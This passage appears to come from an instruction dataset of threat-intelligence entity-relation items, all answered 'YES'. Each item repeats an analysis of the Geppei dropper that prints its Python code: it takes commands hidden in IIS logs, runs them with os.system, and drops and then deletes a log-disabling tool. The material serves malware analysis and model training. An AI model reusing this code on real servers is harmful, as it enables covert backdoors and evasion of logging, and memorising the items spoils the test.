malware. It is a DynamicCodeCompiler that compiles and executes received C# code. It appears to be based on .NET dynamic compilation technology. This type of dynamically compiled code is not created on disk but exists in memory. It acts as a backdoor on infected systems.\nWhen the malicious HTTP request sample contains \"Exco\", e.g.:\n* _GET [dummy string]Exco[passed string to exco()]Exco[dummy string]_\nThe passed string to exco() is decrypted by Decrpt() and this decrypted string is an executable command by os.system().\nIf the malicious HTTP request contains \"Cllo\", function clear() is called. This function drops a hacking tool called sckspy.exe to disable eventlog logging for Service Control Manager. This appears to be another previously undocumented tool.\nIt also appears that the clear() function attempts to remove lines that contain command or malicious .ashx file paths from the IIS log file; however, it does not inspect all lines so this function does not seem to work as intended.\n_def clear():_\n_global gflag_\n_global rows_\n_text4 =__'[malicious base64 encoded exe file]'_\n___if_ _gflag == 0:_\n___try_ _:_\n_fw = open(__'c:\\\\\\windows\\\\\\temp\\\\\\DMI27F127.txt'__,__'w'__)_\n_fw.write(text4)_\n_fw.close()_\n_os.system(__'certutil -decode c:\\\\\\windows\\\\\\temp\\\\\\DMI27F127.txt c:\\\\\\windows\\\\\\temp\\\\\\DMI27F127.cab'__)_\n_os.system(__'expand c:\\\\\\windows\\\\\\temp\\\\\\DMI27F127.cab c:\\\\\\windows\\\\\\system32\\\\\\sckspy.exe'__)_\n_os.system(__'c:\\\\\\windows\\\\\\system32\\\\\\sckspy.exe >c:\\\\\\windows\\\\\\temp\\\\\\DMI27F128.txt'__)_\n_fp = open(__'c:\\\\\\windows\\\\\\temp\\\\\\DMI27F128.txt'__,__'r'__)_\n_str1 = fp.readline()_\n___if_ _str1.find(__'success'__) != -1:_\n_gflag = 1_\n_fp.close()_\n_os.system(__'del c:\\\\\\windows\\\\\\temp\\\\\\DMI27F127.txt'__)_\n_os.system(__'del c:\\\\\\windows\\\\\\temp\\\\\\DMI27F127.cab'__)_\n_os.system(__'del c:\\\\\\windows\\\\\\system32\\\\\\sckspy.exe'__)_\n_os.system(__'del c:\\\\\\windows\\\\\\temp\\\\\\DMI27F128.txt'__)_\n_except:_\n_print(__'bye-bye'__)_\nDropped malicious .ashx files (i.e. Trojan.Danfuan and Hacktool.Regeorg) are removed in wrde() if it is called with option 'r':\n_if info[0] == 'r':_\n_temp = info[2].replace('\\\\\\\\\\\\\\', '\\\\\\')_\n_os.system('del ' + temp)_\n_name = temp.split('\\\\\\')_\n_if name in flist:_\n_flist.remove(name[(-1)][:-1])_\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nDanfuan\n### Target Entity: .NET\n### Text Passage:\nTechnical Details\nThe first malicious activity Symantec researchers saw on victim machines was the presence of a previously undocumented dropper (Trojan.Geppei). It uses PyInstaller, which converts Python script to an executable file.\nGeppei reads commands from a legitimate IIS log. IIS logs are meant to record data from IIS, such as web pages and apps. The attackers can send commands to a compromised web server by disguising them as web access requests. IIS logs them as normal but Trojan.Geppei can read them as commands.\nThe commands read by Geppei contain malicious encoded .ashx files. These files are saved to an arbitrary folder determined by the command parameter and they run as backdoors.\nThe strings Wrde, Exco, and Cllo don't normally appear in IIS log files. These appear to be used for malicious HTTP request parsing by Geppei; the presence of these strings prompts the dropper to carry out activity on a machine.\nThe attackers can use a dummy URL or even a non-existent URL to send these commands because IIS logs 404s in the same log file by default.\n_flist = [__'Wrde'__,__'Exco'__,__'Cllo'__,__'AppleWEBKit'__]_\n_timenumber = 10_\n_rows = 0_\n_gflag = 0_\n_while_ _True:_\n_time.sleep(600)_\n_print(__'One Two Three'__)_\n___try_ _:_\n_today = datetime.date.today()_\n_list1 = str(today).split(__'-'__)_\n_filename =__'u_ex'__\\+ list1[0][2:] + list1[1] + list1[2] +__'.log'_\n_path =__'C:/inetpub/logs/LogFiles/W3SVC1/'__\\+ filename_\n___if_ _os.path.exists(path):_\n_shutil.copy(path,__'C:\\\\\\windows\\\\\\temp\\\\\\IIS1.log'__)_\n_fp = open(__'C:\\\\\\windows\\\\\\temp\\\\\\IIS1.log'__,__'r'__)_\n_line = fp.readline()_\n___for_ _i in range(rows):_\n_line = fp.readline()__if_ _line != '':_\n___if_ _len(line.split(__'Wrde'__)) == 3:_\n_temp1 = line.split(__'Wrde'__)_\n_wrde(temp1[1])_\n___if_ _len(line.split(__'Exco'__)) == 3:_\n_temp2 = line.split(__'Exco'__)_\n_exco(temp2[1])_\n___if_ _len(line.split(__'Cllo'__)) == 3:_\n_clear()_\n_line = fp.readline()_\n_rows += 1_\n___else_ _:_\n_fp.close()_\n_os.remove(__'C:\\\\\\windows\\\\\\temp\\\\\\IIS1.log'__)_\n_except:_\n_print('Bye-Bye')_\nIf the malicious HTTP request sample contains \"Wrde\" e.g.:\n* _GET [dummy string]Wrde[passed string to wrde()]Wrde[dummy string]_\nThe passed string to wrde() is decrypted by Decrpt().\nThe decrypted string is expected to look like the following:\n* _w+1+C:\\\\\\inetpub\\\\\\wwwroot\\\\\\test\\\\\\backdoor.ashx_\nThese are the malicious .ashx files, which are saved as:\n* _C:\\\\\\inetpub\\\\\\wwwroot\\\\\\test\\\\\\backdoor.ashx_\nThe backdoors that are dropped by this dropper include:\n* Hacktool.Regeorg: ReGeorg is a known malware, a web shell that can create a SOCKS proxy. Two versions of ReGeorg were seen in the activity observed by Symantec.\n* Trojan.Danfuan: This is a previously unseen malware. It is a DynamicCodeCompiler that compiles and executes received C# code. It appears to be based on .NET dynamic compilation technology. This type of dynamically compiled code is not created on disk but exists in memory. It acts as a backdoor on infected systems.\nWhen the malicious HTTP request sample contains \"Exco\", e.g.:\n* _GET [dummy string]Exco[passed string to exco()]Exco[dummy string]_\nThe passed string to exco() is decrypted by Decrpt() and this decrypted string is an executable command by os.system().\nIf the malicious HTTP request contains \"Cllo\", function clear() is called. This function drops a hacking tool called sckspy.exe to disable eventlog logging for Service Control Manager. This appears to be another previously undocumented tool.\nIt also appears that the clear() function attempts to remove lines that contain command or malicious .ashx file paths from the IIS log file; however, it does not inspect all lines so this function does not seem to work as intended.\n_def clear():_\n_global gflag_\n_global rows_\n_text4 =__'[malicious base64 encoded exe file]'_\n___if_ _gflag == 0:_\n___try_ _:_\n_fw = open(__'c:\\\\\\windows\\\\\\temp\\\\\\DMI27F127.txt'__,__'w'__)_\n_fw.write(text4)_\n_fw.close()_\n_os.system(__'certutil -decode c:\\\\\\windows\\\\\\temp\\\\\\DMI27F127.txt c:\\\\\\windows\\\\\\temp\\\\\\DMI27F127.cab'__)_\n_os.system(__'expand c:\\\\\\windows\\\\\\temp\\\\\\DMI27F127.cab c:\\\\\\windows\\\\\\system32\\\\\\sckspy.exe'__)_\n_os.system(__'c:\\\\\\windows\\\\\\system32\\\\\\sckspy.exe >c:\\\\\\windows\\\\\\temp\\\\\\DMI27F128.txt'__)_\n_fp = open(__'c:\\\\\\windows\\\\\\temp\\\\\\DMI27F128.txt'__,__'r'__)_\n_str1 = fp.readline()_\n___if_ _str1.find(__'success'__) != -1:_\n_gflag = 1_\n_fp.close()_\n_os.system(__'del c:\\\\\\windows\\\\\\temp\\\\\\DMI27F127.txt'__)_\n_os.system(__'del c:\\\\\\windows\\\\\\temp\\\\\\DMI27F127.cab'__)_\n_os.system(__'del c:\\\\\\windows\\\\\\system32\\\\\\sckspy.exe'__)_\n_os.system(__'del c:\\\\\\windows\\\\\\temp\\\\\\DMI27F128.txt'__)_\n_except:_\n_print(__'bye-bye'__)_\nDropped malicious .ashx files (i.e. Trojan.Danfuan and Hacktool.Regeorg) are removed in wrde() if it is called with option 'r':\n_if info[0] == 'r':_\n_temp = info[2].replace('\\\\\\\\\\\\\\', '\\\\\\')_\n_os.system('del ' + temp)_\n_name = temp.split('\\\\\\')_\n_if name in flist:_\n_flist.remove(name[(-1)][:-1])_\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nGeppei\n### Target Entity: .NET\n### Text Passage:\nTechnical Details\nThe first malicious activity Symantec researchers saw on victim machines was the presence of a previously undocumented dropper (Trojan.Geppei). It uses PyInstaller, which converts Python script to an executable file.\nGeppei reads commands from a legitimate IIS log. IIS logs are meant to record data from IIS, such as web pages and apps. The attackers can send commands to a compromised web server by disguising them as web access requests. IIS logs them as normal but Trojan.Geppei can read them as commands.\nThe commands read by Geppei contain malicious encoded .ashx files. These files are saved to an arbitrary folder determined by the command parameter and they run as backdoors.\nThe strings Wrde, Exco, and Cllo don't normally appear in IIS log files. These appear to be used for malicious HTTP request parsing by Geppei; the presence of these strings prompts the dropper to carry out activity on a machine.\nThe attackers can use a dummy URL or even a non-existent URL to send these commands because IIS logs 404s in the same log file by default.\n_flist = [__'Wrde'__,__'Exco'__,__'Cllo'__,__'AppleWEBKit'__]_\n_timenumber = 10_\n_rows = 0_\n_gflag = 0_\n_while_ _True:_\n_time.sleep(600)_\n_print(__'One Two Three'__)_\n___try_ _:_\n_today = datetime.date.today()_\n_list1 = str(today).split(__'-'__)_\n_filename =__'u_ex'__\\+ list1[0][2:] + list1[1] + list1[2] +__'.log'_\n_path =__'C:/inetpub/logs/LogFiles/W3SVC1/'__\\+ filename_\n___if_ _os.path.exists(path):_\n_shutil.copy(path,__'C:\\\\\\windows\\\\\\temp\\\\\\IIS1.log'__)_\n_fp = open(__'C:\\\\\\windows\\\\\\temp\\\\\\IIS1.log'__,__'r'__)_\n_line = fp.readline()_\n___for_ _i in range(rows):_\n_line = fp.readline()__if_ _line != '':_\n___if_ _len(line.split(__'Wrde'__)) == 3:_\n_temp1 = line.split(__'Wrde'__)_\n_wrde(temp1[1])_\n___if_ _len(line.split(__'Exco'__)) == 3:_\n_temp2 = line.split(__'Exco'__)_\n_exco(temp2[1])_\n___if_ _len(line.split(__'Cllo'__)) == 3:_\n_clear()_\n_line = fp.readline()_\n_rows += 1_\n___else_ _:_\n_fp.close()_\n_os.remove(__'C:\\\\\\windows\\\\\\temp\\\\\\IIS1.log'__)_\n_except:_\n_print('Bye-Bye')_\nIf the malicious HTTP request sample contains \"Wrde\" e.g.:\n* _GET [dummy string]Wrde[passed string to wrde()]Wrde[dummy string]_\nThe passed string to wrde() is decrypted by Decrpt().\nThe decrypted string is expected to look like the following:\n* _w+1+C:\\\\\\inetpub\\\\\\wwwroot\\\\\\test\\\\\\backdoor.ashx_\nThese are the malicious .ashx files, which are saved as:\n* _C:\\\\\\inetpub\\\\\\wwwroot\\\\\\test\\\\\\backdoor.ashx_\nThe backdoors that are dropped by this dropper include:\n* Hacktool.Regeorg: ReGeorg is a known malware, a web shell that can create a SOCKS proxy. Two versions of ReGeorg were seen in the activity observed by Symantec.\n* Trojan.Danfuan: This is a previously unseen malware. It is a DynamicCodeCompiler that compiles and executes received C# code. It appears to be based on .NET dynamic compilation technology. This type of dynamically compiled code is not created on disk but exists in memory. It acts as a backdoor on infected systems.\nWhen the malicious HTTP request sample contains \"Exco\", e.g.:\n* _GET [dummy string]Exco[passed string to exco()]Exco[dummy string]_\nThe passed string to exco() is decrypted by Decrpt() and this decrypted string is an executable command by os.system().\nIf the malicious HTTP request contains \"Cllo\", function clear() is called. This function drops a hacking tool called sckspy.exe to disable eventlog logging for Service Control Manager. This appears to be another previously undocumented tool.\nIt also appears that the clear() function attempts to remove lines that contain command or malicious .ashx file paths from the IIS log file; however, it does not inspect all lines so this function does not seem to work as intended.\n_def clear():_\n_global gflag_\n_global rows_\n_text4 =__'[malicious base64 encoded exe file]'_\n___if_ _gflag == 0:_\n___try_ _:_\n_fw = open(__'c:\\\\\\windows\\\\\\temp\\\\\\DMI27F127.txt'__,__'w'__)_\n_fw.write(text4)_\n_fw.close()_\n_os.system(__'certutil -decode c:\\\\\\windows\\\\\\temp\\\\\\DMI27F127.txt c:\\\\\\windows\\\\\\temp\\\\\\DMI27F127.cab'__)_\n_os.system(__'expand c:\\\\\\windows\\\\\\temp\\\\\\DMI27F127.cab c:\\\\\\windows\\\\\\system32\\\\\\sckspy.exe'__)_\n_os.system(__'c:\\\\\\windows\\\\\\system32\\\\\\sckspy.exe >c:\\\\\\windows\\\\\\temp\\\\\\DMI27F128.txt'__)_\n_fp = open(__'c:\\\\\\windows\\\\\\temp\\\\\\DMI27F128.txt'__,__'r'__)_\n_str1 = fp.readline()_\n___if_ _str1.find(__'success'__) != -1:_\n_gflag = 1_\n_fp.close()_\n_os.system(__'del c:\\\\\\windows\\\\\\temp\\\\\\DMI27F127.txt'__)_\n_os.system(__'del c:\\\\\\windows\\\\\\temp\\\\\\DMI27F127.cab'__)_\n_os.system(__'del c:\\\\\\windows\\\\\\system32\\\\\\sckspy.exe'__)_\n_os.system(__'del c:\\\\\\windows\\\\\\temp\\\\\\DMI27F128.txt'__)_\n_except:_\n_print(__'bye-bye'__)_\nDropped malicious .ashx files (i.e. Trojan.Danfuan and Hacktool.Regeorg) are removed in wrde() if it is called with option 'r':\n_if info[0] == 'r':_\n_temp = info[2].replace('\\\\\\\\\\\\\\', '\\\\\\')_\n_os.system('del ' + temp)_\n_name = temp.split('\\\\\\')_\n_if name in flist:_\n_flist.remove(name[(-1)][:-1])_\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nGeppei\n### Target Entity: Danfuan\n### Text Passage:\nTechnical Details\nThe first malicious activity Symantec researchers saw on victim machines was the presence of a previously undocumented dropper (Trojan.Geppei). It uses PyInstaller, which converts Python script to an executable file.\nGeppei reads commands from a legitimate IIS log. IIS logs are meant to record data from IIS, such as web pages and apps. The attackers can send commands to a compromised web server by disguising them as web access requests. IIS logs them as normal but Trojan.Geppei can read them as commands.\nThe commands read by Geppei contain malicious encoded .ashx files. These files are saved to an arbitrary folder determined by the command parameter and they run as backdoors.\nThe strings Wrde, Exco, and Cllo don't normally appear in IIS log files. These appear to be used for malicious HTTP request parsing by Geppei; the presence of these strings prompts the dropper to carry out activity on a machine.\nThe attackers can use a dummy URL or even a non-existent URL to send these commands because IIS logs 404s in the same log file by default.\n_flist = [__'Wrde'__,__'Exco'__,__'Cllo'__,__'AppleWEBKit'__]_\n_timenumber = 10_\n_rows = 0_\n_gflag = 0_\n_while_ _True:_\n_time.sleep(600)_\n_print(__'One Two Three'__)_\n___try_ _:_\n_today = datetime.date.today()_\n_list1 = str(today).split(__'-'__)_\n_filename =__'u_ex'__\\+ list1[0][2:] + list1[1] + list1[2] +__'.log'_\n_path =__'C:/inetpub/logs/LogFiles/W3SVC1/'__\\+ filename_\n___if_ _os.path.exists(path):_\n_shutil.copy(path,__'C:\\\\\\windows\\\\\\temp\\\\\\IIS1.log'__)_\n_fp = open(__'C:\\\\\\windows\\\\\\temp\\\\\\IIS1.log'__,__'r'__)_\n_line = fp.readline()_\n___for_ _i in range(rows):_\n_line = fp.readline()__if_ _line != '':_\n___if_ _len(line.split(__'Wrde'__)) == 3:_\n_temp1 = line.split(__'Wrde'__)_\n_wrde(temp1[1])_\n___if_ _len(line.split(__'Exco'__)) == 3:_\n_temp2 = line.split(__'Exco'__)_\n_exco(temp2[1])_\n___if_ _len(line.split(__'Cllo'__)) == 3:_\n_clear()_\n_line = fp.readline()_\n_rows += 1_\n___else_ _:_\n_fp.close()_\n_os.remove(__'C:\\\\\\windows\\\\\\temp\\\\\\IIS1.log'__)_\n_except:_\n_print('Bye-Bye')_\nIf the malicious HTTP request sample contains \"Wrde\" e.g.:\n* _GET [dummy string]Wrde[passed string to wrde()]Wrde[dummy string]_\nThe passed string to wrde() is decrypted by Decrpt().\nThe decrypted string is expected to look like the following:\n* _w+1+C:\\\\\\inetpub\\\\\\wwwroot\\\\\\test\\\\\\backdoor.ashx_\nThese are the malicious .ashx files, which are saved as:\n* _C:\\\\\\inetpub\\\\\\wwwroot\\\\\\test\\\\\\backdoor.ashx_\nThe backdoors that are dropped by this dropper include:\n* Hacktool.Regeorg: ReGeorg is a known malware, a web shell that can create a SOCKS proxy. Two versions of ReGeorg were seen in the activity observed by Symantec.\n* Trojan.Danfuan: This is a previously unseen malware. It is a DynamicCodeCompiler that compiles and executes received C# code. It appears to be based on .NET dynamic compilation technology. This type of dynamically compiled code is not created on disk but exists in memory. It acts as a backdoor on infected systems.\nWhen the malicious HTTP request sample contains \"Exco\", e.g.:\n* _GET [dummy string]Exco[passed string to exco()]Exco[dummy string]_\nThe passed string to exco() is decrypted by Decrpt() and this decrypted string is an executable command by os.system().\nIf the malicious HTTP request contains \"Cllo\", function clear() is called. This function drops a hacking tool called sckspy.exe to disable eventlog logging for Service Control Manager. This appears to be another previously undocumented tool.\nIt also appears that the clear() function attempts to remove lines that contain command or malicious .ashx file paths from the IIS log file; however, it does not inspect all lines so this function does not seem to work as intended.\n_def clear():_\n_global gflag_\n_global rows_\n_text4 =__'[malicious base64 encoded exe file]'_\n___if_ _gflag == 0:_\n___try_ _:_\n_fw = open(__'c:\\\\\\windows\\\\\\temp\\\\\\DMI27F127.txt'__,__'w'__)_\n_fw.write(text4)_\n_fw.close()_\n_os.system(__'certutil -decode c:\\\\\\windows\\\\\\temp\\\\\\DMI27F127.txt c:\\\\\\windows\\\\\\temp\\\\\\DMI27F127.cab'__)_\n_os.system(__'expand c:\\\\\\windows\\\\\\temp\\\\\\DMI27F127.cab c:\\\\\\windows\\\\\\system32\\\\\\sckspy.exe'__)_\n_os.system(__'c:\\\\\\windows\\\\\\system32\\\\\\sckspy.exe >c:\\\\\\windows\\\\\\temp\\\\\\DMI27F128.txt'__)_\n_fp = open(__'c:\\\\\\windows\\\\\\temp\\\\\\DMI27F128.txt'__,__'r'__)_\n_str1 = fp.readline()_\n___if_ _str1.find(__'success'__) != -1:_\n_gflag = 1_\n_fp.close()_\n_os.system(__'del c:\\\\\\windows\\\\\\temp\\\\\\DMI27F127.txt'__)_\n_os.system(__'del c:\\\\\\windows\\\\\\temp\\\\\\DMI27F127.cab'__)_\n_os.system(__'del c:\\\\\\windows\\\\\\system32\\\\\\sckspy.exe'__)_\n_os.system(__'del c:\\\\\\windows\\\\\\temp\\\\\\DMI27F128.txt'__)_\n_except:_\n_print(__'bye-bye'__)_\nDropped malicious .ashx files (i.e. Trojan.Danfuan and Hacktool.Regeorg) are removed in wrde() if it is called with option 'r':\n_if info[0] == 'r':_\n_temp = info[2].replace('\\\\\\\\\\\\\\', '\\\\\\')_\n_os.system('del ' + temp)_\n_name = temp.split('\\\\\\')_\n_if name in flist:_\n_flist.remove(name[(-1)][:-1])_\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nGeppei\n### Target Entity: Regeorg\n### Text Passage:\nTechnical Details\nThe first malicious activity Symantec researchers saw on victim machines was the presence of a previously undocumented dropper (Trojan.Geppei). It uses PyInstaller, which converts Python script to an executable file.\nGeppei reads commands from a legitimate IIS log. IIS logs are meant to record data from IIS, such as web pages and apps. The attackers can send commands to a compromised web server by disguising them as web access requests. IIS logs them as normal but Trojan.Geppei can read them as commands.\nThe commands read by Geppei contain malicious encoded .ashx files. These files are saved to an arbitrary folder determined by the command parameter and they run as backdoors.\nThe strings Wrde, Exco, and Cllo don't normally appear in IIS log files. These appear to be used for malicious HTTP request parsing by Geppei; the presence of these strings prompts the dropper to carry out activity on a machine.\nThe attackers can use a dummy URL or even a non-existent URL to send these commands because IIS logs 404s in the same log file by default.\n_flist = [__'Wrde'__,__'Exco'__,__'Cllo'__,__'AppleWEBKit'__]_\n_timenumber = 10_\n_rows = 0_\n_gflag = 0_\n_while_ _True:_\n_time.sleep(600)_\n_print(__'One Two Three'__)_\n___try_ _:_\n_today = datetime.date.today()_\n_list1 = str(today).split(__'-'__)_\n_filename =__'u_ex'__\\+ list1[0][2:] + list1[1] + list1[2] +__'.log'_\n_path =__'C:/inetpub/logs/LogFiles/W3SVC1/'__\\+ filename_\n___if_ _os.path.exists(path):_\n_shutil.copy(path,__'C:\\\\\\windows\\\\\\temp\\\\\\IIS1.log'__)_\n_fp = open(__'C:\\\\\\windows\\\\\\temp\\\\\\IIS1.log'__,__'r'__)_\n_line = fp.readline()_\n___for_ _i in range(rows):_\n_line = fp.readline()__if_ _line != '':_\n___if_ _len(line.split(__'Wrde'__)) == 3:_\n_temp1 = line.split(__'Wrde'__)_\n_wrde(temp1[1])_\n___if_ _len(line.split(__'Exco'__)) == 3:_\n_temp2 = line.split(__'Exco'__)_\n_exco(temp2[1])_\n___if_ _len(line.split(__'Cllo'__)) == 3:_\n_clear()_\n_line = fp.readline()_\n_rows += 1_\n___else_ _:_\n_fp.close()_\n_os.remove(__'C:\\\\\\windows\\\\\\temp\\\\\\IIS1.log'__)_\n_except:_\n_print('Bye-Bye')_\nIf the malicious HTTP request sample contains \"Wrde\" e.g.:\n* _GET [dummy string]Wrde[passed string to wrde()]Wrde[dummy string]_\nThe passed string to wrde() is decrypted by Decrpt().\nThe decrypted string is expected to look like the following:\n* _w+1+C:\\\\\\inetpub\\\\\\wwwroot\\\\\\test\\\\\\backdoor.ashx_\nThese are the malicious .ashx files, which are saved as:\n* _C:\\\\\\inetpub\\\\\\wwwroot\\\\\\test\\\\\\backdoor.ashx_\nThe backdoors that are dropped by this dropper include:\n* Hacktool.Regeorg: ReGeorg is a known malware, a web shell that can create a SOCKS proxy. Two versions of ReGeorg were seen in the activity observed by Symantec.\n* Trojan.Danfuan: This is a previously unseen malware. It is a DynamicCodeCompiler that compiles and executes received C# code. It appears to be based on .NET dynamic compilation technology. This type of dynamically compiled code is not created on disk but exists in memory. It acts as a backdoor on infected systems.\nWhen the malicious HTTP request sample contains \"Exco\", e.g.:\n* _GET [dummy string]Exco[passed string to exco()]Exco[dummy string]_\nThe passed string to exco() is decrypted by Decrpt() and this decrypted string is an executable command by os.system().\nIf the malicious HTTP request contains \"Cllo\", function clear() is called. This function drops a hacking tool called sckspy.exe to disable eventlog logging for Service Control Manager. This appears to be another previously undocumented tool.\nIt also appears that the clear() function attempts to remove lines that contain command or malicious .ashx file paths from the IIS log file; however, it does not inspect all lines so this function does not seem to work as intended.\n_def clear():_\n_global gflag_\n_global rows_\n_text4 =__'[malicious base64 encoded exe file]'_\n___if_ _gflag == 0:_\n___try_ _:_\n_fw = open(__'c:\\\\\\windows\\\\\\temp\\\\\\DMI27F127.txt'__,__'w'__)_\n_fw.write(text4)_\n_fw.close()_\n_os.system(__'certutil -decode c:\\\\\\windows\\\\\\temp\\\\\\DMI27F127.txt c:\\\\\\windows\\\\\\temp\\\\\\DMI27F127.cab'__)_\n_os.system(__'expand c:\\\\\\windows\\\\\\temp\\\\\\DMI27F127.cab c:\\\\\\windows\\\\\\system32\\\\\\sckspy.exe'__)_\n_os.system(__'c:\\\\\\windows\\\\\\system32\\\\\\sckspy.exe >c:\\\\\\windows\\\\\\temp\\\\\\DMI27F128.txt'__)_\n_fp = open(__'c:\\\\\\windows\\\\\\temp\\\\\\DMI27F128.txt'__,__'r'__)_\n_str1 = fp.readline()_\n___if_ _str1.find(__'success'__) != -1:_\n_gflag = 1_\n_fp.close()_\n_os.system(__'del c:\\\\\\windows\\\\\\temp\\\\\\DMI27F127.txt'__)_\n_os.system(__'del c:\\\\\\windows\\\\\\temp\\\\\\DMI27F127.cab'__)_\n_os.system(__'del c:\\\\\\windows\\\\\\system32\\\\\\sckspy.exe'__)_\n_os.system(__'del c:\\\\\\windows\\\\\\temp\\\\\\DMI27F128.txt'__)_\n_except:_\n_print(__'bye-bye'__)_\nDropped malicious .ashx files (i.e. Trojan.Danfuan and Hacktool.Regeorg) are removed in wrde() if it is called with option 'r':\n_if info[0] == 'r':_\n_temp = info[2].replace('\\\\\\\\\\\\\\', '\\\\\\')_\n_os.system('del ' + temp)_\n_name = temp.split('\\\\\\')_\n_if name in flist:_\n_flist.remove(name[(-1)][:-1])_\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nsckspy.exe\n### Target Entity: backdoor.ashx\n### Text Passage:\nTechnical Details\nThe first malicious activity Symantec researchers saw on victim machines was the presence of a previously undocumented dropper (Trojan.Geppei). It uses PyInstaller, which converts Python script to an executable file.\nGeppei reads commands from a legitimate IIS log. IIS logs are meant to record data from IIS, such as web pages and apps. The attackers can send commands to a compromised web server by disguising them as web access requests. IIS logs them as normal but Trojan.Geppei can read them as commands.\nThe commands read by Geppei contain malicious encoded .ashx files. These files are saved to an arbitrary folder determined by the command parameter and they run as backdoors.\nThe strings Wrde, Exco, and Cllo don't normally appear in IIS log files. These appear to be used for malicious HTTP request parsing by Geppei; the presence of these strings prompts the dropper to carry out activity on a machine.\nThe attackers can use a dummy URL or even a non-existent URL to send these commands because IIS logs 404s in the same log file by default.\n_flist = [__'Wrde'__,__'Exco'__,__'Cllo'__,__'AppleWEBKit'__]_\n_timenumber = 10_\n_rows = 0_\n_gflag = 0_\n_while_ _True:_\n_time.sleep(600)_\n_print(__'One Two Three'__)_\n___try_ _:_\n_today = datetime.date.today()_\n_list1 = str(today).split(__'-'__)_\n_filename =__'u_ex'__\\+ list1[0][2:] + list1[1] + list1[2] +__'.log'_\n_path =__'C:/inetpub/logs/LogFiles/W3SVC1/'__\\+ filename_\n___if_ _os.path.exists(path):_\n_shutil.copy(path,__'C:\\\\\\windows\\\\\\temp\\\\\\IIS1.log'__)_\n_fp = open(__'C:\\\\\\windows\\\\\\temp\\\\\\IIS1.log'__,__'r'__)_\n_line = fp.readline()_\n___for_ _i in range(rows):_\n_line = fp.readline()__if_ _line != '':_\n___if_ _len(line.split(__'Wrde'__)) == 3:_\n_temp1 = line.split(__'Wrde'__)_\n_wrde(temp1[1])_\n___if_ _len(line.split(__'Exco'__)) == 3:_\n_temp2 = line.split(__'Exco'__)_\n_exco(temp2[1])_\n___if_ _len(line.split(__'Cllo'__)) == 3:_\n_clear()_\n_line = fp.readline()_\n_rows += 1_\n___else_ _:_\n_fp.close()_\n_os.remove(__'C:\\\\\\windows\\\\\\temp\\\\\\IIS1.log'__)_\n_except:_\n_print('Bye-Bye')_\nIf the malicious HTTP request sample contains \"Wrde\" e.g.:\n* _GET [dummy string]Wrde[passed string to wrde()]Wrde[dummy string]_\nThe passed string to wrde() is decrypted by Decrpt().\nThe decrypted string is expected to look like the following:\n* _w+1+C:\\\\\\inetpub\\\\\\wwwroot\\\\\\test\\\\\\backdoor.ashx_\nThese are the malicious .ashx files, which are saved as:\n* _C:\\\\\\inetpub\\\\\\wwwroot\\\\\\test\\\\\\backdoor.ashx_\nThe backdoors that are dropped by this dropper include:\n* Hacktool.Regeorg: ReGeorg is a known malware, a web shell that can create a SOCKS proxy. Two versions of ReGeorg were seen in the activity observed by Symantec.\n* Trojan.Danfuan: This is a previously unseen malware. It is a DynamicCodeCompiler that compiles and executes received C# code. It appears to be based on .NET dynamic compilation technology. This type of dynamically compiled code is not created on disk but exists in memory. It acts as a backdoor on infected systems.\nWhen the malicious HTTP request sample contains \"Exco\", e.g.:\n* _GET [dummy string]Exco[passed string to exco()]Exco[dummy string]_\nThe passed string to exco() is decrypted by Decrpt() and this decrypted string is an executable command by os.system().\nIf the malicious HTTP request contains \"Cllo\", function clear() is called. This function drops a hacking tool called sckspy.exe to disable eventlog logging for Service Control Manager. This appears to be another previously undocumented tool.\nIt also appears that the clear() function attempts to remove lines that contain command or malicious .ashx file paths from the IIS log file; however, it does not inspect all lines so this function does not seem to work as intended.\n_def clear():_\n_global gflag_\n_global rows_\n_text4 =__'[malicious base64 encoded exe file]'_\n___if_ _gflag == 0:_\n___try_ _:_\n_fw = open(__'c:\\\\\\windows\\\\\\temp\\\\\\DMI27F127.txt'__,__'w'__)_\n_fw.write(text4)_\n_fw.close()_\n_os.system(__'certutil -decode c:\\\\\\windows\\\\\\temp\\\\\\DMI27F127.txt c:\\\\\\windows\\\\\\temp\\\\\\DMI27F127.cab'__)_\n_os.system(__'expand c:\\\\\\windows\\\\\\temp\\\\\\DMI27F127.cab c:\\\\\\windows\\\\\\system32\\\\\\sckspy.exe'__)_\n_os.system(__'c:\\\\\\windows\\\\\\system32\\\\\\sckspy.exe >c:\\\\\\windows\\\\\\temp\\\\\\DMI27F128.txt'__)_\n_fp = open(__'c:\\\\\\windows\\\\\\temp\\\\\\DMI27F128.txt'__,__'r'__)_\n_str1 = fp.readline()_\n___if_ _str1.find(__'success'__) != -1:_\n_gflag = 1_\n_fp.close()_\n_os.system(__'del c:\\\\\\windows\\\\\\temp\\\\\\DMI27F127.txt'__)_\n_os.system(__'del c:\\\\\\windows\\\\\\temp\\\\\\DMI27F127.cab'__)_\n_os.system(__'del c:\\\\\\windows\\\\\\system32\\\\\\sckspy.exe'__)_\n_os.system(__'del c:\\\\\\windows\\\\\\temp\\\\\\DMI27F128.txt'__)_\n_except:_\n_print(__'bye-bye'__)_\nDropped malicious .ashx files (i.e. Trojan.Danfuan and Hacktool.Regeorg) are removed in wrde() if it is called with option 'r':\n_if info[0] == 'r':_\n_temp = 